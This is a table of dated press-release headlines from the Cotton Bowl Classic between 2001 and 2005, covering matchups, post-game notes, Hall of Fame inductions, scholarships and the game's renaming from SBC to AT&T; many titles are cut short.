| 12/04/2005 | IT'S OFFICIAL: TEXAS TECH VS. ALABAMA IN THE 70TH AT&T COTTON BO Texas Tech can turn heads with its high-octane top-ranked Big 12 offense. Alabama is known the nation over for the SEC's No. 1 defense. Something has to give come January 2nd at the AT&T Cotton Bowl. |
| 11/23/2005 | SAME GAME, NEW NAME: AT&T COTTON BOWL CLASSIC With origins dating back to Sammy Baugh and Alexander Graham Bell, The Cotton Bowl Athletic Association (CBAA) and AT&T Inc. today announced that Dallas' annual New Year’s football game will be renamed the AT&T Cotton Bowl Classic, effective immediately for the Jan. 2, 2006 contest. The CBAA and AT&T today also unveiled the official new logo to be used in the 70th AT&T Cotton Bowl Classic. |
| 11/16/2005 | JIM RAY SMITH IS NAMED A CLEVELAND BROWNS LEGEND |
| 10/31/2005 | SBC COTTON BOWL CLASSIC TEAMS UP WITH THE PROSTATE CANCER FOUNDA |
| 07/27/2005 | SBC COTTON BOWL EXTENDS SEC CONTRACT |
| 07/15/2005 | SBC COTTON BOWL EXTENDS BIG 12 CONTRACT |
| 06/28/2005 | SBC COTTON BOWL ANNOUNCES STRONG ADVANCED TICKET SALES |
| 06/06/2005 | COLLEGE FOOTBALL LOSES LEGEND |
| 06/06/2005 | SBC COTTON BOWL ANNOUNCES STRONG ADVANCED TICKET SALES Early Purchase Discount Program Ends July 5th |
| 05/24/2005 | 2005 FIELD SCOVELL SCHOLARSHIP WINNERS HONORED AT AWARDS BANQUET |
| 04/20/2005 | SBC COTTON BOWL INDUCTS EIGHT LEGENDS INTO HALL OF FAME Troy Aikman, Lance Alworth, Jim “Hoss” Brock, Mike Dean, Andy Kozar, Hank Lauricella, Lydell Mitchell and Gene Stallings Honored in Fair Park Ceremony |
| 04/14/2005 | CLASS OF 2005 TO BE INDUCTED ON WEDNESDAY IN SBC COTTON BOWL HAL |
| 04/06/2005 | SBC COTTON BOWL BOARD HONORS GAME'S FOREFATHERS |
| 02/23/2005 | SBC COMPANIES, COTTON BOWL ATHLETIC ASSOCIATION EXTEND SBC COTTO |
| 01/10/2005 | BUD BROOKS, FORMER RAZORBACK AND COTTON BOWL GREAT PASSES AWAY |
| 01/06/2005 | SBC COTTON BOWL ANNOUNCES MUSIC FESTIVAL WINNERS Four Different Bands Capture Grand Champion Awards in Concert, Jazz, Field Show, and Parade Competitions |
| 01/01/2005 | TEXAS A&M POST-GAME NOTES |
| 01/01/2005 | TENNESSEE POST-GAME NOTES |
| 01/01/2005 | SBC COTTON BOWL CLASSIC POST-GAME NOTES |
| 01/01/2005 | VOLS TAKE 69TH CLASSIC |
| 01/01/2005 | JUSTIN HARRELL - MCKNIGHT TROPHY WINNER Most Valuable Player Ð Defense |
| 01/01/2005 | RICK CLAUSEN - SANFORD TROPHY WINNER MOST VALUABLE PLAYER -- OFFENSE |
| 12/29/2004 | TEXAS A&M VISISTS CHILDREN’S MEDICAL CENTER |
| 12/28/2004 | TENNESSEE VISITS TEXAS SCOTTISH RITE HOSPITAL |
| 12/19/2004 | CLASS OF 2005 SELECTED FOR SBC COTTON BOWL HALL OF FAME Troy Aikman, Lance Alworth, Jim “Hoss” Brock, Mike Dean, Andy Kozar, Hank Lauricella, Lydell Mitchell and Gene Stallings To Be Honored in Dallas During April Ceremony |
| 12/14/2004 | 69TH SBC COTTON BOWL CLASSIC IS A SELLOUT! |
| 12/06/2004 | GENERAL SALES TICKETS THROUGH SBC COTTON BOWL OFFICE ARE GONE! |
| 12/05/2004 | TEXAS A&M AND TENNESSEE ACCEPT BID TO 69TH SBC COTTON BOWL CLASS |
| 12/05/2004 | GENERAL SALES TICKETS SOLD THROUGH SBC COTTON BOWL OFFICE ARE GO |
| 11/22/2004 | FIELD SCOVELL SCHOLARSHIP FOUNDATION TO ESTABLISH SBC SCHOLARSHI First Named Scholarship Recognizes $30,000 Gift from the SBC Foundation |
| 11/22/2004 | SBC COTTON BOWL TICKETS GOING FAST! PURCHASE TICKETS NOW ONLINE! |
| 11/03/2004 | THERE’S A NEW HOLIDAY TO CELEBRATE &ATILDE; NATIONAL COLLEGE FOO |
| 11/02/2004 | COTTON BOWL BOARD OF DIRECTORS VOTE TO RENAME MVP TROPHIES |
| 05/17/2004 | FIELD SCOVELL SCHOLARSHIP FOUNDATION ANNOUNCES SCHOLARSHIP RECIP Eight Scholarship Awards Honor Memory of “Mr. Cotton Bowl” |
| 05/03/2004 | COTTON BOWL ATHLETIC ASSOCIATION LAUDS DALLAS COWBOYS’ FAI |
| 04/26/2004 | OLE MISS QUARTERBACK ELI MANNING BECOMES NFL’S TOP DRAFT P |
| 04/08/2004 | THREE FORMER COTTON BOWL PLAYERS AND ONE COACH AMONG COLLEGE FOO |
| 03/18/2004 | GAYLE M. EARLS ELECTED CHAIRMAN OF COTTON BOWL ATHLETIC ASSOCIAT |
| 03/12/2004 | CBAA TO SEEK BCS BOWL AFFILIATION IF DALLAS COUNTY VOTERS ADOPT CBAA Announces Option Agreement with Dallas Cowboys to Move Annual SBC Cotton Bowl Classic to Proposed New Stadium in Dallas |
| 02/15/2004 | APPLICATION DEADLINE APPROACHES FOR FIELD SCOVELL SCHOLARSHIPS |
| 01/03/2004 | MANNING GOES OUT IN STYLE...|AS REBELS OUTLAST OKLAHOMA STATE IN |
| 01/02/2004 | 2004 SBC COTTON BOWL RECORDS AND NOTES |
| 01/02/2004 | OKLAHOMA STATE POST-GAME NOTES |
| 01/02/2004 | OLE MISS POST-GAME NOTES |
| 01/02/2004 | JOSH COOPER - MOST OUTSTANDING DEFENSIVE PLAYER |
| 01/02/2004 | ELI MANNING &ATILDE; MOST OUTSTANDING OFFENSIVE PLAYER |
| 12/29/2003 | OKLAHOMA STATE VISITS WITH CHILDREN AT TEXAS SCOTTISH RITE HOSPI |
| 12/29/2003 | OLE MISS REBELS SPREAD CHEER TO KIDS AT CHILDREN’S MEDICAL |
| 12/12/2003 | MANNING TAKES MAXWELL AWARD FOR 2003 COLLEGE PLAYER OF THE YEAR |
| 12/11/2003 | MISSISSIPPI KICKER, JONATHAN NICHOLS, WINS 2003 LOU GROZA AWARD |
| 12/09/2003 | THE 68TH SBC COTTON BOWL CLASSIC IS A SELL OUT! |
| 12/07/2003 | IT’S OFFICIAL: OKLAHOMA STATE’S COMING TO DALLAS TO |
| 12/05/2003 | LAWRY’S THE PRIME RIB AND THE SBC COTTON BOWL TEAM UP FOR |
| 12/04/2003 | ELI MANNING TO RECEIVE 2003 JOHNNY UNITAS GOLDEN ARM AWARD |
| 12/03/2003 | OLE MISS ACCEPTS INVITATION AS SEC REPRESENTATIVE IN 2004 SBC CO |
| 11/17/2003 | FIELD SCOVELL SCHOLARSHIP FOUNDATION ANNOUNCES GRANT APPLICATION Eight Scholarships to be Awarded to North Texas Youths in Memory of “Mr. Cotton Bowl” |
| 07/28/2003 | ALL-AMERICAN FOOTBALL FOUNDATION HONORS COTTON BOWL TRIO |
| 05/20/2003 | FIELD SCOVELL SCHOLARSHIP FOUNDATION ANNOUNCES SCHOLARSHIP RECIP |
| 04/29/2003 | 2003 INDUCTION DAY: SEVEN LEGENDS ADDED TO HALL OF FAME |
| 04/24/2003 | 2003 HALL OF FAME DAY FAST APPROACHES |
| 03/24/2003 | THREE FORMER COTTON BOWL PLAYERS AND TWO COACHES AMONG COLLEGE F |
| 03/11/2003 | 32 YEARS LATER...SBC COTTON BOWL HALL OF FAME INDUCTEE, STEVE WO |
| 02/17/2003 | TEXAS BASKETBALL CROWD HONORS SBC COTTON BOWL CHAMPIONS<BR><BR>| |
| 01/31/2003 | CLASS OF 2003 SELECTED FOR SBC COTTON BOWL HALL OF FAME Robert B. Cullum, Eagle Day, Kent Lawrence, Charles McClendon, Kyle Rote, Joe Theismann and Steve Worster To Be Honored in Dallas During April Ceremony |
| 01/24/2003 | APPLICATION DEADLINE APPROACHES FOR SCOVELL SCHOLARSHIPS March 3 Deadline for Eight $2,000 Grants in Memory of “Mr. Cotton Bowl” and E.E. “Buddy” Fogelson |
| 01/01/2003 | LSU POST GAME QUOTES |
| 01/01/2003 | SBC COTTON BOWL RECORDS AND NOTES |
| 01/01/2003 | TEXAS POST-GAME NOTES |
| 01/01/2003 | LSU POST-GAME NOTES |
| 01/01/2003 | TEXAS BEATS LSU, 35-20, IN 67TH SBC COTTON BOWL CLASSIC |
| 01/01/2003 | MOST VALUABLE PLAYER -- DEFENSE, TEXAS DE CORY REDDING |
| 01/01/2003 | MOST VALUABLE PLAYER -- OFFENSE, TEXAS WR ROY WILLIAMS |
| 01/01/2003 | TEXAS POST-GAME QUOTES |
| 12/30/2002 | LSU HEAD COACHES NEWS CONFERENCE LSU Coach Nick Saban |
| 12/30/2002 | UT HEAD COACHES NEWS CONFERENCE Texas Coach Mack Brown |
| 12/29/2002 | TEXAS LONGHORNS OFFENSIVE NEWS CONFERENCE |
| 12/29/2002 | LSU TIGERS DEFENSIVE NEWS CONFERENCE |
| 12/28/2002 | OFFENSIVE COORDINATOR JIMBO FISHER |
| 12/28/2002 | TEXAS DEFENSIVE COORDINATOR CARL REESE: |
| 12/27/2002 | TIGERS BRING A SMILE TO KIDS AT HOSPITAL |
| 12/22/2002 | TIGERS CONTINUE TO PREPARE FOR NINTH-RANKED TEXAS; FOUR TIGERS G |
| 12/20/2002 | LEARNING FROM THE GREATS - APPLEWHITE AND SISEMORE ADDRESS TEXAS |
| 12/19/2002 | TEXAS PREPARES FOR 22ND TRIP TO SBC COTTON BOWL |
| 12/17/2002 | TIGERS GO BACK TO WORK AS LSU BEGINS TO PREPARE FOR TEXAS |
| 12/10/2002 | LSU AND TEXAS TO BATTLE IN 67TH SBC COTTON BOWL CLASSIC |
| 12/09/2002 | LSU ALLOTMENT SOLD OUT AFTER ONE DAY |
| 11/13/2002 | FIELD SCOVELL SCHOLARSHIP FOUNDATION ANNOUNCES GRANT APPLICATION Eight Scholarships to be Awarded to North Texas Youths in Memory of “Mr. Cotton Bowl” and E.E. “Buddy” Fogelson |
| 11/12/2002 | THE SBC COTTON BOWL CLASSIC REMEMBERS GLENN DOBBS |
| 08/16/2002 | THE SBC COTTON BOWL CLASSIC REMEMBERS SMU GREAT KYLE ROTE |
| 05/22/2002 | FIELD SCOVELL SCHOLARSHIP FOUNDATION ANNOUNCES SCHOLARSHIP RECIP |
| 05/09/2002 | FORMER NOTRE DAME COACH DEVINE PASSES AWAY AT 77 Led Irish to 1978 Cotton Bowl Title and National Championship |
| 05/07/2002 | COTTON BOWL GREATS SELECTED FOR INDUCTION INTO COLLEGE FOOTBALL |
| 04/16/2002 | TICKETS FOR 67TH SBC COTTON BOWL CLASSIC ARE NOW ON SALE |
| 04/15/2002 | SBC COTTON BOWL LEGEND, EX-SUPREME COURT JUSTICE BYRON WHITE DIE |
| 04/10/2002 | SBC COTTON BOWL EXTENDS BIG 12 AND SEC CONTRACTS,|ADDS NOTRE DAM |
| 04/09/2002 | FIN EWING III ELECTED CHAIRMAN OF COTTON BOWL ATHLETIC ASSOCIATI |
| 01/01/2002 | OKLAHOMA WINS 10-3 OVER ARKANSAS IN 2002 SBC COTTON BOWL CLASSIC Oklahoma Post-Game Notes |
| 01/01/2002 | ARKANSAS FALLS 10-3 TO OKLAHOMA IN THE 2002 SBC COTTON BOWL Arkansas Post-Game Notes |
| 01/01/2002 | OKLAHOMA POST-GAME QUOTES |
| 01/01/2002 | ARKANSAS POST-GAME QUOTES |
| 01/01/2002 | SBC COTTON BOWL RECORDS |
| 01/01/2002 | OKLAHOMA HALTS ARKANSAS, 10-3, IN THE 66TH SBC COTTON BOWL CLASS 66th SBC Cotton Bowl Classic Dallas, Texas, January 1, 2002 Oklahoma 10, Arkansas 3 |
| 12/27/2001 | SOONERS BRING SMILES TO KIDS AT HOSPITAL<BR>|OU CENTER VINCE CAR Oklahoma Visits Texas Scottish Rite Hospital Thursday, December 27, 2001 - Dallas, Texas |
| 12/11/2001 | THE 66TH SBC COTTON BOWL CLASSIC IS A SELL OUT! |
| 12/09/2001 | OKLAHOMA AND ARKANSAS TO BATTLE|IN 66TH SBC COTTON BOWL CLASSIC New Year's Day Game in Big D Expected to Sell Out Quickly |
| 05/05/2001 | COTTON BOWL INDUCTS 2001 HALL OF FAME CLASS |
| 04/12/2001 | CLASS OF 2001 SELECTED FOR SOUTHWESTERN BELL COTTON BOWL HALL OF Scott Appleton, Ernie Davis, Russell Maryland, Jess Neely, Loyd Phillips, Cotton Speyrer and Bill Yeoman To Be Honored in Dallas During May Ceremony |
